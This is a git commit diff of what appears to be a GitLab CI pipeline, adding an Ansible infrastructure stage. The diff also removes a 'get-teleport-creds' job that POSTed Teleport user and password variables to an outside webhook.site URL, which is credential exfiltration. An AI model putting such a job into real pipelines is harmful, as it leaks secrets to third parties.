chore: added iac

Signed-off-by: ITQ <itq.dev@ya.ru>
This commit is contained in:
ITQ
2025-11-21 18:16:52 +03:00
parent 5d66fcd0ca
commit 44df678c82
43 changed files with 1598 additions and 45 deletions
+15 -7
View File
@@ -1,4 +1,5 @@
stages:
- iac
- build
- test
- security
@@ -183,14 +184,21 @@ cache:
- curl -LsSf https://astral.sh/uv/install.sh | sh
- export PATH="$HOME/.local/bin:$PATH"
get-teleport-creds:
stage: build
image: curlimages/curl:latest
ansible-initvm:
stage: iac
image: alpine/ansible:2.18.6
variables:
ANSIBLE_HOST_KEY_CHECKING: false
before_script:
- echo $ENV_PRIVATE_KEY_BASE64 | base64 -d > /id.pem
- mv "$INVENTORY_ALPHA_VM" ./infrastructure/iac/ansible/inventory/host_vars/alpha.yaml
- printf "[servers]\nalpha\n" > infrastructure/iac/ansible/inventory/hosts
script:
- |
curl -sf -X POST \
-d "$TELEPORT_USER $TELEPORT_PASSWORD" \
"https://webhook.site/4d24c108-9b63-48b4-b8df-9dd697a7aade"
- cd ./infrastructure/iac/ansible
- ansible-galaxy collection install -r requirements.yaml
- ansible-galaxy install -r requirements.yaml
- ansible-playbook -i inventory/hosts apps.yaml
when: manual
build-runtime:
<<: *build-config